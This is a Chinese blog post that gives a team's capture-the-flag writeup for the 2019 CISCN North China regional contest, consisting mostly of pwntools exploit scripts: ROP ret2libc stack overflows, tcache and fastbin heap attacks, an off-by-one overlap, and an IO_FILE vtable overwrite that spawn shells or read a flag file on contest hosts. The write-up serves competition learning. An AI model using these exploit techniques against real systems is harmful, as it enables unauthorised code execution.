Whali3n51's blog

  • 主页
  • 关于
  • 友链
  • 标签
  • 分类
Writeup

CISCN华北赛区pwn脚本及总结

Whali3n51 发布于 2019-06-13

先总结一波吧。这次比赛我真的是菜的扣脚,就做出两道题,和北邮的师傅根本比不了,北邮的pwn师傅真的太强了。真的膜拜,orz。
感觉这次比赛暴露了自己很多缺点,关于最近新学的堆应用根本不灵活,存在的遗憾就是第二天的pwn没做好吧,感觉自己能做,但是却偏偏卡在最后了,只能怪自己学的太菜了。第一天的pwn3也是感觉自己很垃圾,学的不够牢固,感觉自己学习没有总结好,关于什么漏洞最先思考的方向出现了问题,UAF漏洞,自己没总结好,最先思考的是fast bin double free,却不是最简单的fast bin重新单向链表的结构来控制指针块。感觉自己学的还是不够扎实,菜的不谈。
以后还是要好好学习,多做总结,多总结总结一些漏洞的相同点和一些漏洞的不同点,关于一些漏洞去怎么利用之类的。

Day1:

Pwn1:

我队长做的
这是一道简单的栈溢出,基本的ROP构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

a=1

context.log_level='debug'

if a==0:
p = remote('172.1.8.6',8888)
else:
p = process('./guess')

elf=ELF('./guess')
libc=ELF('libc.so.6')

puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
pop_rdi=0x0400793

payload='a'*56+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.symbols["main"])
p.recv()

p.sendline(payload)
p.recvuntil('\x35\x0a')

puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libcbase=puts_addr-libc.symbols['puts']
print hex(libcbase)
p.recv()
system_addr=elf.symbols["system"]
binsh_addr=0x0018cd57+libcbase
payload1='a'*56+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload1)
p.interactive()
Pwn2:

这一道题我队长做的
这一道是简单的tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#coding=utf8
from pwn import *

def get_shell(p):
libc = ELF('./libc.so')
binary = ELF('./pwn')
create(p, 'aaa\n')
delete(p, 0)
libc.address = u64(leak(p, binary.got['puts'], 8)) - libc.sym['puts']
log.success('libc_base: {}'.format(hex(libc.address)))
add(p, 0)
delete(p, 0)
create(p, p64(libc.sym['__free_hook']))
create(p, '/bin/sh\x00')
create(p, p64(libc.sym['system']))
delete(p, 1)

def create(p, name):
p.sendlineafter('Your choice:', '1')
p.sendafter('name:', name)
p.sendlineafter('age:', '1')

def delete(p, idx):
p.sendlineafter('Your choice:', '2')
p.sendlineafter('Index:', str(idx))

def edit(p, idx, name):
p.sendlineafter('Your choice:', '3')
p.sendlineafter('Index:', str(idx))
p.sendafter('name:', name)
p.sendlineafter('age:', '1')

def disp(p, idx):
p.sendlineafter('Your choice:', '4')
p.sendlineafter('Index:', str(idx))

def add(p, idx):
p.sendlineafter('Your choice:', '5')
p.sendlineafter('Index:', str(idx))

def buy(p, idx):
p.sendlineafter('Your choice:', '6')
p.sendlineafter('Index:', str(idx))

def leak(p, addr, size):
buy(p, 0)
p.recvuntil('input the address you want to leak:')
p.sendline(hex(addr))
p.recvuntil('input the size you want to leak:')
p.sendline(str(size))
p.recvuntil('data:[[[')
ret = p.recvuntil(']]]', drop=True)
return ret


def time(a):
self = a
default = Timeout.default
def newrecvuntil(delims, drop=False, timeout = default):
if isinstance(delims, (str, unicode)):
delims = (delims,)
longest = max(map(len, delims))
data = []
top = ''
with self.countdown(timeout):
while self.countdown_active():
try:
res = self.recv(timeout=self.timeout)
except Exception:
self.unrecv(''.join(data) + top)
raise

if not res:
self.unrecv(''.join(data) + top)
raise PwnlibException('recvuntil {} timeout'.format(repr(delims[0])))
return ''

top += res
start = len(top)
for d in delims:
j = top.find(d)
if start > j > -1:
start = j
end = j + len(d)
if start < len(top):
self.unrecv(top[end:])
if drop:
top = top[:start]
else:
top = top[:end]
return ''.join(data) + top
if len(top) > longest:
i = -longest - 1
data.append(top[:i])
top = top[i:]
raise PwnlibException('recvuntil {} timeout'.format(repr(delims[0])))
return ''
tmp = a.recvuntil
a.recvuntil = newrecvuntil


if __name__ == "__main__":
a=1
if a==1:
p = remote('172.1.8.7',8888)
else:
p=process("./pwn")
time(p)
get_shell(p)
p.interactive()
Pwn3:

UAF结合fast bin attack重新控制堆块上的指针,然后程序内部调用这个指针,我们只需要将myfree指针替换为system指针就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#context.log_level = "debug"
#p=remote('172.1.8.9',8888)
p=process('./torchwood')
elf=ELF('./torchwood')

def create(index,length,content):
p.recvuntil('CNote >')
p.sendline('1')
p.recvuntil('Index > ')
p.sendline(str(index))
p.recvuntil('Type >')
p.sendline('2')
p.recvuntil('Length > ')
p.sendline(str(length))
p.recvuntil('Value >')
p.sendline(content)

def show(index):
p.recvuntil('CNote >')
p.sendline('3')
p.recvuntil('Index > ')
p.sendline(str(index))

def free(index):
p.recvuntil('CNote >')
p.sendline('2')
p.recvuntil('Index > ')
p.sendline(str(index))

create(0,32,'/bin/sh\x00')
create(1,32,'bbbb')

pause()
free(0)
free(1)

create(2,0xc,'sh\x00\x00'+p32(elf.symbols['system']))
free(0)

p.interactive()
Pwn4:

off byu one修改chunk_size,然后Extend overlapping 控制造成double free ,然后重新分配内存控制指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./wood')

a=0
if a==0:
p= process('./wood')
else:
p=remote('172.1.8.10',8888)

#context.log_level = 'debug'

def show(index):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))

def create(size,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil("?")
p.sendline(str(size))
p.recvuntil("?")
p.sendline(content)

def edit(index,content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(index))
p.recvuntil("?")
p.sendline(content)

def free(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(index))

free_got = elf.got['free']
create(0x18,"0")
create(0x10,"1")

edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
free(1)
create(0x30,p64(0)*4+p64(0x30)+p64(free_got))
show(1)
p.recvuntil("ions : ")
data = p.recv(6)

free_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
libcbase = free_addr - libc.symbols['free']

print 'libc_base:'+hex(libcbase)

system = libcbase + libc.symbols['system']
edit(1,p64(system))
free(0)


p.interactive()
Pwn5:

这一题是我队长做的
这一道题也是简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

a=1
context.log_level='debug'
#context.terminal=["tmux","splitw","-h"]
elf=ELF('./pwn')
libc=ELF('libc.so.6')

if a==1:
p = remote('172.1.8.8',8888)
else:
p = process('./pwn')

#gdb.attach(p)
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
pop_rdi=0x000400713

p.recvuntil('tell me your name')
p.sendline('aaaa')
p.recvuntil('What do you want to say to me?')
payload='a'*40+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.symbols["main"])
p.sendline(payload)
p.recv()
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libcbase=puts_addr-libc.symbols['puts']
print hex(libcbase)

system_addr=libc.symbols["system"]+libcbase
binsh_addr=0x0018cd57+libcbase

p.recvuntil('tell me your name')
p.sendline('aaaa')
p.recvuntil('What do you want to say to me?')
pay='a'*40+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(pay)

p.interactive()

day2:

pwn1:

这一题是我队长做的
CTFwiki IO_file的原题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#coding=utf-8
from pwn import *


cmd="cat /flag.txt>&0"

local=0
libc=ELF("./libc.so.6")

if local:
p=process("./pwn")
else:
p=remote("172.1.8.3",8888)
context.log_level='debug'

sys_off=0xf02b0

p.recvuntil("it ")
stdout_addr=int(p.recv(14),16)
print "stdout_addr="+hex(stdout_addr)

print hex(libc.symbols["_IO_2_1_stdout_"])

libc.address=stdout_addr-libc.symbols["_IO_2_1_stdout_"]
sys_addr=libc.address+sys_off
print "libc_address="+hex(libc.address)
print "system addr="+hex(sys_addr)

p.recvuntil("\n")
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd8))
print "[_IO_2_1_stdout_]+0xd8"+hex(libc.symbols["_IO_2_1_stdout_"]+0xd8) #vtable地址
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xd9))
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+64+8)[1])


p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa0))
p.send(p64(sys_addr)[0])
p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa1))
p.send(p64(sys_addr)[1])

p.send(p64(libc.symbols["_IO_2_1_stdout_"]+0xa2))
print hex(libc.symbols["_IO_2_1_stdout_"]+0xa2)
#gdb.attach(p)

p.send(p64(sys_addr)[2])

p.sendline(cmd)
p.interactive()
pwn2:

这道题没做出来,卡住了半截,因为比赛时间有限,没做出来,这里就贴我解题思路的一半的脚本,等我写出来了再更新。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

#p=remote('172.1.8.4',8888)
p=process('./pwn')
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
elf=ELF('./pwn')
#context.log_level='debug'
def create(length,name):
p.recvuntil('Your choice-> \n')
p.sendline('1')
p.recvuntil('Input string Length: \n')
p.sendline(str(length))
p.recvuntil('Author name:\n')
p.send(name)



def edit(name,content):
p.recvuntil('Your choice-> \n')
p.sendline('2')
p.recvuntil('New Author name:\n')
p.sendline(name)
p.recvuntil('New contents:')
p.sendline(content)

def show():
p.recvuntil('Your choice-> \n')
p.sendline('3')

def puts():
p.recvuntil('Your choice-> \n')
p.sendline('666')
r=p.recvline()
return r


r=puts()
print r
puts_addr=int(r[2:],16)
print hex(puts_addr)
libc_base=puts_addr-libc.symbols['puts']
system_addr=libc_base+0x45216
free_hook=libc_base+libc.symbols["exit"]
print hex(system_addr)
print 'free_hook:'+hex(free_hook)
binsh=u64('aaaaaaaa')

create(0x18,p64(binsh)+'\x20')

show()
index=p.recv(6)
chunk_addr=u64(index.ljust(8,'\x00'))
print hex(chunk_addr)
edit(p64(free_hook),p64(system_addr))
edit(p64(system_addr),p64(system_addr))

p.interactive()
pwn3:

这一题是我队友做的。
这题是一道逆向题,当输入的值满足条件,就直接进shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import struct
ar2 = [0x1 , 0x10 , 0x25 , 0x3 , 0xd , 0xa , 0x2 , 0xb , 0x28 , 0x2 , 0x14 , 0x3f , 0x1 , 0x17 , 0x3c , 0x1 , 0x0 , 0x69 , 0x1 , 0x12 , 0x3f , 0x2 , 0xe , 0x77 , 0x3 , 0x15 , 0x53 , 0x2 , 0xe , 0x7d , 0x3 , 0x5 , 0xa , 0x2 , 0x4 , 0x55 , 0x2 , 0x15 , 0x33 , 0x2 , 0x15 , 0x5 , 0x1 , 0x5 , 0x2f , 0x3 , 0x7 , 0x43 , 0x1 , 0x11 , 0x39 , 0x3 , 0xd , 0x27 , 0x1 , 0x5 , 0x1e , 0x3 , 0x4 , 0x3c , 0x1 , 0x13 , 0x1e , 0x3 , 0x1 , 0x78 , 0x1 , 0x0 , 0x20 , 0x2 , 0xf , 0x53 , 0x3 , 0x14 , 0x2b , 0x3 , 0x14 , 0x28 , 0x3 , 0xa , 0x19 , 0x3 , 0x12 , 0x60 , 0x1 , 0x5 , 0x7e , 0x3 , 0xf , 0x20 , 0x1 , 0xf , 0x58 , 0x2 , 0x11 , 0x51 , 0x1 , 0xb , 0x24 , 0x1 , 0x17 , 0x79 , 0x1 , 0xe , 0x4a , 0x3 , 0x10 , 0x67 , 0x2 , 0x16 , 0x5c , 0x3 , 0x9 , 0x6d , 0x1 , 0x17 , 0x30 , 0x2 , 0xa , 0x2c , 0x3 , 0x7 , 0x3f , 0x3 , 0x7 , 0x43 , 0x1 , 0x4 , 0x4 , 0x2 , 0x0 , 0xf , 0x1 , 0x2 , 0x63 , 0x2 , 0x3 , 0x70 , 0x1 , 0x8 , 0x7b , 0x2 , 0x6 , 0x4c , 0x2 , 0xb , 0x7a , 0x1 , 0xc , 0xd0 , 0x2 , 0x11 , 0x22 , 0x2 , 0x13 , 0x66 , 0x4 , 0x15 , 0xbb , 0x4 , 0x12 , 0x80 , 0x4 , 0x10 , 0x67 , 0x4 , 0x1 , 0xd8 , 0x1 , 0x3 , 0x80 , 0x1 , 0x4 , 0x2 , 0x4 , 0x4 , 0x12 , 0x4 , 0x5 , 0x7 , 0x1 , 0x6 , 0xda , 0x4 , 0x7 , 0x43 , 0x4 , 0x7 , 0x43 , 0x4 , 0x7 , 0x5a , 0x2 , 0x8 , 0x42 , 0x4 , 0x9 , 0x5f , 0x4 , 0xa , 0x59 , 0x1 , 0xb , 0x79 , 0x2 , 0xc , 0x6c , 0x4 , 0xd , 0xc3 , 0x1 , 0xe , 0xaf , 0x4 , 0xf , 0xa , 0x4 , 0x10 , 0x67 , 0x4 , 0x12 , 0xc0 , 0x4 , 0x14 , 0x2b , 0x4 , 0x14 , 0x8 , 0x1 , 0x16 , 0x6c , 0x2 , 0x17 , 0xd3]

ar1 = [0x0 , 0x0 , 0x60 , 0x43 , 0x0 , 0x0 , 0x70 , 0x42 , 0x0 , 0x0 , 0x44 , 0x43 , 0x0 , 0x0 , 0xee , 0x42 , 0x0 , 0x0 , 0xfe , 0x42 , 0x0 , 0x0 , 0x33 , 0x43 , 0x0 , 0x0 , 0x80 , 0x3f , 0x0 , 0x0 , 0x9a , 0x42 , 0x0 , 0x0 , 0x2d , 0x43 , 0x0 , 0x0 , 0xda , 0x42 , 0x0 , 0x0 , 0xe8 , 0x41 , 0x0 , 0x0 , 0xde , 0x42 , 0x0 , 0x0 , 0x43 , 0x43 , 0x0 , 0x0 , 0x42 , 0x43 , 0x0 , 0x0 , 0xc8 , 0x42 , 0x0 , 0x0 , 0xd8 , 0x42 , 0xc2 , 0x7e , 0xab , 0x3f , 0x0 , 0x0 , 0x70 , 0x42 , 0x0 , 0x0 , 0x24 , 0x3f , 0x0 , 0x0 , 0x28 , 0x42 , 0x0 , 0x0 , 0x82 , 0x43 , 0x1e , 0x1e , 0x32 , 0x42 , 0x0 , 0x0 , 0x9e , 0x42 , 0x0 , 0x0 , 0xf , 0x43]

ar3 = []

v10 = [0 for i in range(100)]

for i in range(0, len(ar1), 4):
if i == 0:
continue
wtf = (ar1[i-1]*0x1000000 + ar1[i-2]*0x10000 + ar1[i-3]*0x100 + ar1[i-4])
ar3.append(wtf)

for i in range(len(ar2), -1, -3):
if i+1 > len(ar2):
continue
if ar2[i + 1] >= len(ar3):
continue
if ar2[i] == 2:
s = hex(ar3[ar2[i + 1]]).replace("0x", "")
tmp = struct.unpack('>f', bytes.fromhex(s))[0]
if v10[ar2[i + 1]] == 0:
v10[ar2[i + 1]] = ar2[i+2] + tmp
else:
v10[ar2[i + 1]] += ar2[i+2]
if ar2[i] == 3:
s = hex(ar3[ar2[i + 1]]).replace("0x", "")
tmp = struct.unpack('>f', bytes.fromhex(s))[0]
if v10[ar2[i + 1]] == 0:
v10[ar2[i + 1]] = tmp / ar2[i+2]
else:
v10[ar2[i + 1]] /= ar2[i+2]
if ar2[i] == 4:
s = hex(ar3[ar2[i + 1]]).replace("0x", "")
tmp = struct.unpack('>f', bytes.fromhex(s))[0]
if v10[ar2[i + 1]] == 0:
v10[ar2[i + 1]] = ar2[i+2] * tmp
else:
v10[ar2[i + 1]] *= ar2[i+2]
if ar2[i] == 1:
s = hex(ar3[ar2[i + 1]]).replace("0x", "")
tmp = struct.unpack('>f', bytes.fromhex(s))[0]
if v10[ar2[i + 1]] == 0:
v10[ar2[i + 1]] = tmp - ar2[i+2]
else:
v10[ar2[i + 1]] -= ar2[i+2]

for i in v10:
print(chr(int(i)%256), end = "")
  • #pwn
Newer

CISCN_final_CN16

Older

堆溢出的unlink漏洞利用

© 2023 Whali3n51